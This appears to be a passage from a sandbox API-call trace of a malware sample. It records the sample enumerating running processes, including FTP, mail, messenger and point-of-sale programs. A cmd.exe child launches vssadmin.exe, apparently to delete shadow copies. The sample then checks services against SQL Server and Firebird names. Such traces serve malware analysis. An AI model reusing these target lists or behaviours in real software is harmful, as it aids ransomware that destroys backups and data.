th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0039.382] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0039.382] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0039.383] lstrlenW (lpString="madrid.exe") returned 10 [0039.383] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0039.383] lstrlenW (lpString="measurerush.exe") returned 15 [0039.383] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0039.384] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0039.384] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0039.385] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0039.385] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0039.385] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0039.385] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0039.386] lstrlenW (lpString="jessefun.exe") returned 12 [0039.386] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0039.387] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0039.387] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0039.387] lstrlenW (lpString="sellers.exe") returned 11 [0039.387] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0039.388] lstrlenW (lpString="gras hair.exe") returned 13 [0039.388] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0039.389] lstrlenW (lpString="acquisitions.exe") returned 16 [0039.389] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0039.389] lstrlenW (lpString="starscondos.exe") returned 15 [0039.389] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0039.390] lstrlenW (lpString="3dftp.exe") returned 9 [0039.390] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0039.391] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0039.391] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0039.391] lstrlenW (lpString="alftp.exe") returned 9 [0039.391] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0039.392] lstrlenW (lpString="barca.exe") returned 9 [0039.392] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0039.394] lstrlenW (lpString="bitkinex.exe") returned 12 [0039.394] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0039.395] lstrlenW (lpString="coreftp.exe") returned 11 [0039.395] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0039.396] lstrlenW (lpString="far.exe") returned 7 [0039.396] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0039.396] lstrlenW (lpString="filezilla.exe") returned 13 [0039.396] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0039.397] lstrlenW (lpString="flashfxp.exe") returned 12 [0039.397] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0039.398] lstrlenW (lpString="fling.exe") returned 9 [0039.398] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0039.399] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0039.399] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0039.400] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0039.400] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0039.401] lstrlenW (lpString="icq.exe") returned 7 [0039.401] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0039.402] lstrlenW (lpString="leechftp.exe") returned 12 [0039.402] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0039.403] lstrlenW (lpString="ncftp.exe") returned 9 [0039.403] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0039.404] lstrlenW (lpString="notepad.exe") returned 11 [0039.404] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0039.405] lstrlenW (lpString="operamail.exe") returned 13 [0039.405] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0039.406] lstrlenW (lpString="pidgin.exe") returned 10 [0039.406] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0039.407] lstrlenW (lpString="scriptftp.exe") returned 13 [0039.407] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0039.414] lstrlenW (lpString="skype.exe") returned 9 [0039.414] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0039.415] lstrlenW (lpString="smartftp.exe") returned 12 [0039.415] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0039.416] lstrlenW (lpString="thunderbird.exe") returned 15 [0039.416] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0039.417] lstrlenW (lpString="totalcmd.exe") returned 12 [0039.417] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0039.418] lstrlenW (lpString="trillian.exe") returned 12 [0039.418] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0039.419] lstrlenW (lpString="webdrive.exe") returned 12 [0039.419] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0039.420] lstrlenW (lpString="whatsapp.exe") returned 12 [0039.420] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0039.421] lstrlenW (lpString="winscp.exe") returned 10 [0039.421] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0039.422] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0039.422] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0039.422] lstrlenW (lpString="active-charge.exe") returned 17 [0039.423] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0040.572] lstrlenW (lpString="accupos.exe") returned 11 [0040.572] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0040.573] lstrlenW (lpString="afr38.exe") returned 9 [0040.573] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0040.574] lstrlenW (lpString="aldelo.exe") returned 10 [0040.574] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0040.575] lstrlenW (lpString="ccv_server.exe") returned 14 [0040.575] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0040.576] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0040.576] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0040.576] lstrlenW (lpString="creditservice.exe") returned 17 [0040.577] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0040.577] lstrlenW (lpString="edcsvr.exe") returned 10 [0040.577] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0040.578] lstrlenW (lpString="fpos.exe") returned 8 [0040.579] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0040.579] lstrlenW (lpString="isspos.exe") returned 10 [0040.579] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0040.580] lstrlenW (lpString="mxslipstream.exe") returned 16 [0040.580] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0040.581] lstrlenW (lpString="omnipos.exe") returned 11 [0040.581] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0040.582] lstrlenW (lpString="spcwin.exe") returned 10 [0040.582] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0040.583] lstrlenW (lpString="spgagentservice.exe") returned 19 [0040.583] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0040.584] lstrlenW (lpString="utg2.exe") returned 8 [0040.584] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0040.584] lstrlenW (lpString="burner.exe") returned 10 [0040.584] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.585] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.585] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.586] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.586] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.587] lstrlenW (lpString="dllhost.exe") returned 11 [0040.587] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.588] lstrlenW (lpString="dllhost.exe") returned 11 [0040.588] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0040.588] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0040.588] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.589] lstrlenW (lpString="cmd.exe") returned 7 [0040.589] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.590] lstrlenW (lpString="conhost.exe") returned 11 [0040.590] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.591] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.591] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0040.591] CloseHandle (hObject=0x18c) returned 1 [0040.591] Sleep (dwMilliseconds=0x1f4) [0041.251] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fb68 [0041.252] EnumServicesStatusExW (in: hSCManager=0x59fb68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0041.253] GetLastError () returned 0xea [0041.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x37f3708 [0041.253] EnumServicesStatusExW (in: hSCManager=0x59fb68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f3708, cbBufSize=0x134c, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f3708, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0041.254] CloseServiceHandle (hSCObject=0x59fb68) returned 1 [0041.254] lstrlenW (lpString="Appinfo") returned 7 [0041.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.255] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.255] lstrlenW (lpString="AudioSrv") returned 8 [0041.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.255] lstrcmpiW (lpString1="sqlserveradhelper", 